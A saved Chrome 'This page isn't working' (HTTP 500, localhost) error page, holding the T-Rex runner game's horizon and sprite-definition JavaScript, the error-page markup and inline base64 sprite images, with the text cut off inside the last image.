* @param {HTMLCanvasElement} canvas
* @param {Object} spritePos Sprite positioning.
* @param {Object} dimensions Canvas dimensions.
* @param {number} gapCoefficient
* @constructor
*/
function Horizon(canvas, spritePos, dimensions, gapCoefficient) {
this.canvas = canvas;
this.canvasCtx =
/** @type {CanvasRenderingContext2D} */ (this.canvas.getContext('2d'));
this.config = Horizon.config;
this.dimensions = dimensions;
this.gapCoefficient = gapCoefficient;
this.obstacles = [];
this.obstacleHistory = [];
this.horizonOffsets = [0, 0];
this.cloudFrequency = this.config.CLOUD_FREQUENCY;
this.spritePos = spritePos;
this.nightMode = null;
this.altGameModeActive = false;
// Cloud
this.clouds = [];
this.cloudSpeed = this.config.BG_CLOUD_SPEED;
// Background elements
this.backgroundEls = [];
this.lastEl = null;
this.backgroundSpeed = this.config.BG_CLOUD_SPEED;
// Horizon
this.horizonLine = null;
this.horizonLines = [];
this.init();
}
/**
* Horizon config.
* @enum {number}
*/
Horizon.config = {
BG_CLOUD_SPEED: 0.2,
BUMPY_THRESHOLD: .3,
CLOUD_FREQUENCY: .5,
HORIZON_HEIGHT: 16,
MAX_CLOUDS: 6,
};
Horizon.prototype = {
/**
* Initialise the horizon. Just add the line and a cloud. No obstacles.
*/
init() {
Obstacle.types = Runner.spriteDefinitionByType.original.OBSTACLES;
this.addCloud();
// Multiple Horizon lines
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.nightMode = new NightMode(this.canvas, this.spritePos.MOON,
this.dimensions.WIDTH);
},
/**
* Update obstacle definitions based on the speed of the game.
*/
adjustObstacleSpeed: function() {
for (let i = 0; i < Obstacle.types.length; i++) {
if (Runner.slowDown) {
Obstacle.types[i].multipleSpeed = Obstacle.types[i].multipleSpeed / 2;
Obstacle.types[i].minGap *= 1.5;
Obstacle.types[i].minSpeed = Obstacle.types[i].minSpeed / 2;
// Convert variable y position obstacles to fixed.
if (typeof (Obstacle.types[i].yPos) == 'object') {
Obstacle.types[i].yPos = Obstacle.types[i].yPos[0];
Obstacle.types[i].yPosMobile = Obstacle.types[i].yPos[0];
}
}
}
},
/**
* Update sprites to correspond to change in sprite sheet.
* @param {number} spritePos
*/
enableAltGameMode: function(spritePos) {
// Clear existing horizon objects.
this.clouds = [];
this.backgroundEls = [];
this.altGameModeActive = true;
this.spritePos = spritePos;
Obstacle.types = Runner.spriteDefinition.OBSTACLES;
this.adjustObstacleSpeed();
Obstacle.MAX_GAP_COEFFICIENT = Runner.spriteDefinition.MAX_GAP_COEFFICIENT;
Obstacle.MAX_OBSTACLE_LENGTH = Runner.spriteDefinition.MAX_OBSTACLE_LENGTH;
BackgroundEl.config = Runner.spriteDefinition.BACKGROUND_EL_CONFIG;
this.horizonLines = [];
for (let i = 0; i < Runner.spriteDefinition.LINES.length; i++) {
this.horizonLines.push(
new HorizonLine(this.canvas, Runner.spriteDefinition.LINES[i]));
}
this.reset();
},
/**
* @param {number} deltaTime
* @param {number} currentSpeed
* @param {boolean} updateObstacles Used as an override to prevent
* the obstacles from being updated / added. This happens in the
* ease in section.
* @param {boolean} showNightMode Night mode activated.
*/
update(deltaTime, currentSpeed, updateObstacles, showNightMode) {
this.runningTime += deltaTime;
if (this.altGameModeActive) {
this.updateBackgroundEls(deltaTime, currentSpeed);
}
for (let i = 0; i < this.horizonLines.length; i++) {
this.horizonLines[i].update(deltaTime, currentSpeed);
}
if (!this.altGameModeActive || Runner.spriteDefinition.HAS_CLOUDS) {
this.nightMode.update(showNightMode);
this.updateClouds(deltaTime, currentSpeed);
}
if (updateObstacles) {
this.updateObstacles(deltaTime, currentSpeed);
}
},
/**
* Update background element positions. Also handles creating new elements.
* @param {number} elSpeed
* @param {Array<Object>} bgElArray
* @param {number} maxBgEl
* @param {Function} bgElAddFunction
* @param {number} frequency
*/
updateBackgroundEl(elSpeed, bgElArray, maxBgEl, bgElAddFunction, frequency) {
const numElements = bgElArray.length;
if (numElements) {
for (let i = numElements - 1; i >= 0; i--) {
bgElArray[i].update(elSpeed);
}
const lastEl = bgElArray[numElements - 1];
// Check for adding a new element.
if (numElements < maxBgEl &&
(this.dimensions.WIDTH - lastEl.xPos) > lastEl.gap &&
frequency > Math.random()) {
bgElAddFunction();
}
} else {
bgElAddFunction();
}
},
/**
* Update the cloud positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateClouds(deltaTime, speed) {
const elSpeed = this.cloudSpeed / 1000 * deltaTime * speed;
this.updateBackgroundEl(
elSpeed, this.clouds, this.config.MAX_CLOUDS, this.addCloud.bind(this),
this.cloudFrequency);
// Remove expired elements.
this.clouds = this.clouds.filter((obj) => !obj.remove);
},
/**
* Update the background element positions.
* @param {number} deltaTime
* @param {number} speed
*/
updateBackgroundEls(deltaTime, speed) {
this.updateBackgroundEl(
deltaTime, this.backgroundEls, BackgroundEl.config.MAX_BG_ELS,
this.addBackgroundEl.bind(this), this.cloudFrequency);
// Remove expired elements.
this.backgroundEls = this.backgroundEls.filter((obj) => !obj.remove);
},
/**
* Update the obstacle positions.
* @param {number} deltaTime
* @param {number} currentSpeed
*/
updateObstacles(deltaTime, currentSpeed) {
const updatedObstacles = this.obstacles.slice(0);
for (let i = 0; i < this.obstacles.length; i++) {
const obstacle = this.obstacles[i];
obstacle.update(deltaTime, currentSpeed);
// Clean up existing obstacles.
if (obstacle.remove) {
updatedObstacles.shift();
}
}
this.obstacles = updatedObstacles;
if (this.obstacles.length > 0) {
const lastObstacle = this.obstacles[this.obstacles.length - 1];
if (lastObstacle && !lastObstacle.followingObstacleCreated &&
lastObstacle.isVisible() &&
(lastObstacle.xPos + lastObstacle.width + lastObstacle.gap) <
this.dimensions.WIDTH) {
this.addNewObstacle(currentSpeed);
lastObstacle.followingObstacleCreated = true;
}
} else {
// Create new obstacles.
this.addNewObstacle(currentSpeed);
}
},
removeFirstObstacle() {
this.obstacles.shift();
},
/**
* Add a new obstacle.
* @param {number} currentSpeed
*/
addNewObstacle(currentSpeed) {
const obstacleCount =
Obstacle.types[Obstacle.types.length - 1].type != 'COLLECTABLE' ||
(Runner.isAltGameModeEnabled() && !this.altGameModeActive ||
this.altGameModeActive) ?
Obstacle.types.length - 1 :
Obstacle.types.length - 2;
const obstacleTypeIndex =
obstacleCount > 0 ? getRandomNum(0, obstacleCount) : 0;
const obstacleType = Obstacle.types[obstacleTypeIndex];
// Check for multiples of the same type of obstacle.
// Also check obstacle is available at current speed.
if ((obstacleCount > 0 && this.duplicateObstacleCheck(obstacleType.type)) ||
currentSpeed < obstacleType.minSpeed) {
this.addNewObstacle(currentSpeed);
} else {
const obstacleSpritePos = this.spritePos[obstacleType.type];
this.obstacles.push(new Obstacle(
this.canvasCtx, obstacleType, obstacleSpritePos, this.dimensions,
this.gapCoefficient, currentSpeed, obstacleType.width,
this.altGameModeActive));
this.obstacleHistory.unshift(obstacleType.type);
if (this.obstacleHistory.length > 1) {
this.obstacleHistory.splice(Runner.config.MAX_OBSTACLE_DUPLICATION);
}
}
},
/**
* Returns whether the previous two obstacles are the same as the next one.
* Maximum duplication is set in config value MAX_OBSTACLE_DUPLICATION.
* @return {boolean}
*/
duplicateObstacleCheck(nextObstacleType) {
let duplicateCount = 0;
for (let i = 0; i < this.obstacleHistory.length; i++) {
duplicateCount =
this.obstacleHistory[i] === nextObstacleType ? duplicateCount + 1 : 0;
}
return duplicateCount >= Runner.config.MAX_OBSTACLE_DUPLICATION;
},
/**
* Reset the horizon layer.
* Remove existing obstacles and reposition the horizon line.
*/
reset() {
this.obstacles = [];
for (let l = 0; l < this.horizonLines.length; l++) {
this.horizonLines[l].reset();
}
this.nightMode.reset();
},
/**
* Update the canvas width and scaling.
* @param {number} width Canvas width.
* @param {number} height Canvas height.
*/
resize(width, height) {
this.canvas.width = width;
this.canvas.height = height;
},
/**
* Add a new cloud to the horizon.
*/
addCloud() {
this.clouds.push(new Cloud(this.canvas, this.spritePos.CLOUD,
this.dimensions.WIDTH));
},
/**
* Add a random background element to the horizon.
*/
addBackgroundEl() {
const backgroundElTypes =
Object.keys(Runner.spriteDefinition.BACKGROUND_EL);
if (backgroundElTypes.length > 0) {
let index = getRandomNum(0, backgroundElTypes.length - 1);
let type = backgroundElTypes[index];
// Add variation if available.
while (type == this.lastEl && backgroundElTypes.length > 1) {
index = getRandomNum(0, backgroundElTypes.length - 1);
type = backgroundElTypes[index];
}
this.lastEl = type;
this.backgroundEls.push(new BackgroundEl(
this.canvas, this.spritePos.BACKGROUND_EL, this.dimensions.WIDTH,
type));
}
},
};
</script>
<script>// Copyright 2021 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/* @const
* Add matching sprite definition and config to Runner.spriteDefinitionByType.
*/
const GAME_TYPE = [];
/**
* Obstacle definitions.
* minGap: minimum pixel space between obstacles.
* multipleSpeed: Speed at which multiples are allowed.
* speedOffset: speed faster / slower than the horizon.
* minSpeed: Minimum speed which the obstacle can make an appearance.
*
* @typedef {{
* type: string,
* width: number,
* height: number,
* yPos: number,
* multipleSpeed: number,
* minGap: number,
* minSpeed: number,
* collisionBoxes: Array<CollisionBox>,
* }}
*/
let ObstacleType;
/**
* T-Rex runner sprite definitions.
*/
Runner.spriteDefinitionByType = {
original: {
LDPI: {
BACKGROUND_EL: {x: 86, y: 2},
CACTUS_LARGE: {x: 332, y: 2},
CACTUS_SMALL: {x: 228, y: 2},
OBSTACLE_2: {x: 332, y: 2},
OBSTACLE: {x: 228, y: 2},
CLOUD: {x: 86, y: 2},
HORIZON: {x: 2, y: 54},
MOON: {x: 484, y: 2},
PTERODACTYL: {x: 134, y: 2},
RESTART: {x: 2, y: 68},
TEXT_SPRITE: {x: 655, y: 2},
TREX: {x: 848, y: 2},
STAR: {x: 645, y: 2},
COLLECTABLE: {x: 2, y: 2},
ALT_GAME_END: {x: 121, y: 2},
},
HDPI: {
BACKGROUND_EL: {x: 166, y: 2},
CACTUS_LARGE: {x: 652, y: 2},
CACTUS_SMALL: {x: 446, y: 2},
OBSTACLE_2: {x: 652, y: 2},
OBSTACLE: {x: 446, y: 2},
CLOUD: {x: 166, y: 2},
HORIZON: {x: 2, y: 104},
MOON: {x: 954, y: 2},
PTERODACTYL: {x: 260, y: 2},
RESTART: {x: 2, y: 130},
TEXT_SPRITE: {x: 1294, y: 2},
TREX: {x: 1678, y: 2},
STAR: {x: 1276, y: 2},
COLLECTABLE: {x: 4, y: 4},
ALT_GAME_END: {x: 242, y: 4},
},
MAX_GAP_COEFFICIENT: 1.5,
MAX_OBSTACLE_LENGTH: 3,
HAS_CLOUDS: 1,
BOTTOM_PAD: 10,
TREX: {
WAITING_1: {x: 44, w: 44, h: 47, xOffset: 0},
WAITING_2: {x: 0, w: 44, h: 47, xOffset: 0},
RUNNING_1: {x: 88, w: 44, h: 47, xOffset: 0},
RUNNING_2: {x: 132, w: 44, h: 47, xOffset: 0},
JUMPING: {x: 0, w: 44, h: 47, xOffset: 0},
CRASHED: {x: 220, w: 44, h: 47, xOffset: 0},
COLLISION_BOXES: [
new CollisionBox(22, 0, 17, 16),
new CollisionBox(1, 18, 30, 9),
new CollisionBox(10, 35, 14, 8),
new CollisionBox(1, 24, 29, 5),
new CollisionBox(5, 30, 21, 4),
new CollisionBox(9, 34, 15, 4),
],
},
/** @type {Array<ObstacleType>} */
OBSTACLES: [
{
type: 'CACTUS_SMALL',
width: 17,
height: 35,
yPos: 105,
multipleSpeed: 4,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 7, 5, 27),
new CollisionBox(4, 0, 6, 34),
new CollisionBox(10, 4, 7, 14),
],
},
{
type: 'CACTUS_LARGE',
width: 25,
height: 50,
yPos: 90,
multipleSpeed: 7,
minGap: 120,
minSpeed: 0,
collisionBoxes: [
new CollisionBox(0, 12, 7, 38),
new CollisionBox(8, 0, 7, 49),
new CollisionBox(13, 10, 10, 38),
],
},
{
type: 'PTERODACTYL',
width: 46,
height: 40,
yPos: [100, 75, 50], // Variable height.
yPosMobile: [100, 50], // Variable height mobile.
multipleSpeed: 999,
minSpeed: 8.5,
minGap: 150,
collisionBoxes: [
new CollisionBox(15, 15, 16, 5),
new CollisionBox(18, 21, 24, 6),
new CollisionBox(2, 14, 4, 3),
new CollisionBox(6, 10, 4, 7),
new CollisionBox(10, 8, 6, 9),
],
numFrames: 2,
frameRate: 1000 / 6,
speedOffset: .8,
},
],
BACKGROUND_EL: {
'CLOUD': {
HEIGHT: 14,
MAX_CLOUD_GAP: 400,
MAX_SKY_LEVEL: 30,
MIN_CLOUD_GAP: 100,
MIN_SKY_LEVEL: 71,
OFFSET: 4,
WIDTH: 46,
X_POS: 1,
Y_POS: 120,
},
},
BACKGROUND_EL_CONFIG: {
MAX_BG_ELS: 1,
MAX_GAP: 400,
MIN_GAP: 100,
POS: 0,
SPEED: 0.5,
Y_POS: 125,
},
LINES: [
{SOURCE_X: 2, SOURCE_Y: 52, WIDTH: 600, HEIGHT: 12, YPOS: 127},
],
},
};
</script>
</head>
<body id="t" class="neterror" style="font-family: "sans", Arial, sans-serif; font-size: 75%" jstcache="0">
<div id="main-frame-error" class="interstitial-wrapper" jstcache="0">
<div id="main-content" jstcache="0">
<div class="icon icon-generic" jstcache="0"></div>
<div id="main-message" jstcache="0">
<h1 jstcache="0">
<span jsselect="heading" jsvalues=".innerHTML:msg" jstcache="9">This page isn’t working</span>
<a id="error-information-button" class="hidden" onclick="toggleErrorInformationPopup();" jstcache="0"></a>
</h1>
<p jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</p>
<!--The suggestion list and error code are normally presented inline,
in which case error-information-popup-* divs have no effect. When
error-information-popup-container has the use-popup-container class, this
information is provided in a popup instead.-->
<div id="error-information-popup-container" jstcache="0">
<div id="error-information-popup" jstcache="0">
<div id="error-information-popup-box" jstcache="0">
<div id="error-information-popup-content" jstcache="0">
<div id="suggestions-list" style="display:none" jsdisplay="(suggestionsSummaryList && suggestionsSummaryList.length)" jstcache="16">
<p jsvalues=".innerHTML:suggestionsSummaryListHeader" jstcache="18"></p>
<ul jsvalues=".className:suggestionsSummaryList.length == 1 ? 'single-suggestion' : ''" jstcache="19">
<li jsselect="suggestionsSummaryList" jsvalues=".innerHTML:summary" jstcache="21"></li>
</ul>
</div>
<div class="error-code" jscontent="errorCode" jstcache="17">HTTP ERROR 500</div>
<p id="error-information-popup-close" jstcache="0">
<a class="link-button" jscontent="closeDescriptionPopup" onclick="toggleErrorInformationPopup();" jstcache="20">null</a>
</p>
</div>
</div>
</div>
</div>
<div id="download-links-wrapper" class="hidden" jstcache="0">
<div id="download-link-wrapper" jstcache="0">
<a id="download-link" class="link-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</a>
</div>
<div id="download-link-clicked-wrapper" class="hidden" jstcache="0">
<div id="download-link-clicked" class="link-button" jsselect="downloadButton" jscontent="disabledMsg" jstcache="11" style="display: none;">
</div>
</div>
</div>
<div id="save-page-for-later-button" class="hidden" jstcache="0">
<a class="link-button" onclick="savePageLaterClick()" jsselect="savePageLater" jscontent="savePageMsg" jstcache="10" style="display: none;">
</a>
</div>
<div id="cancel-save-page-button" class="hidden" onclick="cancelSavePageClick()" jsselect="savePageLater" jsvalues=".innerHTML:cancelMsg" jstcache="4" style="display: none;">
</div>
<div id="offline-content-list" class="list-hidden" hidden="" jstcache="0">
<div id="offline-content-list-visibility-card" onclick="toggleOfflineContentListVisibility(true)" jstcache="0">
<div id="offline-content-list-title" jsselect="offlineContentList" jscontent="title" jstcache="12" style="display: none;">
</div>
<div jstcache="0">
<div id="offline-content-list-show-text" jsselect="offlineContentList" jscontent="showText" jstcache="14" style="display: none;">
</div>
<div id="offline-content-list-hide-text" jsselect="offlineContentList" jscontent="hideText" jstcache="15" style="display: none;">
</div>
</div>
</div>
<div id="offline-content-suggestions" jstcache="0"></div>
<div id="offline-content-list-action" jstcache="0">
<a class="link-button" onclick="launchDownloadsPage()" jsselect="offlineContentList" jscontent="actionText" jstcache="13" style="display: none;">
</a>
</div>
</div>
</div>
</div>
<div id="buttons" class="nav-wrapper suggested-right" jstcache="0">
<div id="control-buttons" jstcache="0">
<button id="reload-button" class="blue-button text-button" onclick="reloadButtonClick(this.url);" jsselect="reloadButton" jsvalues=".url:reloadUrl" jscontent="msg" jstcache="5">Reload</button>
<button id="download-button" class="blue-button text-button" onclick="downloadButtonClick()" jsselect="downloadButton" jscontent="msg" jsvalues=".disabledText:disabledMsg" jstcache="6" style="display: none;">
</button>
</div>
<button id="details-button" class="secondary-button text-button small-link" onclick="detailsButtonClick(); toggleHelpBox()" jscontent="details" jsdisplay="(suggestionsDetails && suggestionsDetails.length > 0) || diagnose" jsvalues=".detailsText:details; .hideDetailsText:hideDetails;" jstcache="2" style="display: none;"></button>
</div>
<div id="details" class="hidden" jstcache="0">
<div class="suggestions" jsselect="suggestionsDetails" jstcache="3" jsinstance="*0" style="display: none;">
<div class="suggestion-header" jsvalues=".innerHTML:header" jstcache="7"></div>
<div class="suggestion-body" jsvalues=".innerHTML:body" jstcache="8"></div>
</div>
</div>
</div>
<div id="sub-frame-error" jstcache="0">
<!-- Show details when hovering over the icon, in case the details are
hidden because they're too large. -->
<div class="icon" jstcache="0"></div>
<div id="sub-frame-error-details" jsselect="summary" jsvalues=".innerHTML:msg" jstcache="1"><strong jscontent="hostName" jstcache="22">localhost</strong> is currently unable to handle this request.</div>
</div>
<div id="offline-resources" jstcache="0">
<img id="offline-resources-1x" src="data:image/png;base64,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" jstcache="0">
<img id="offline-resources-2x" src="data:image/png;base64,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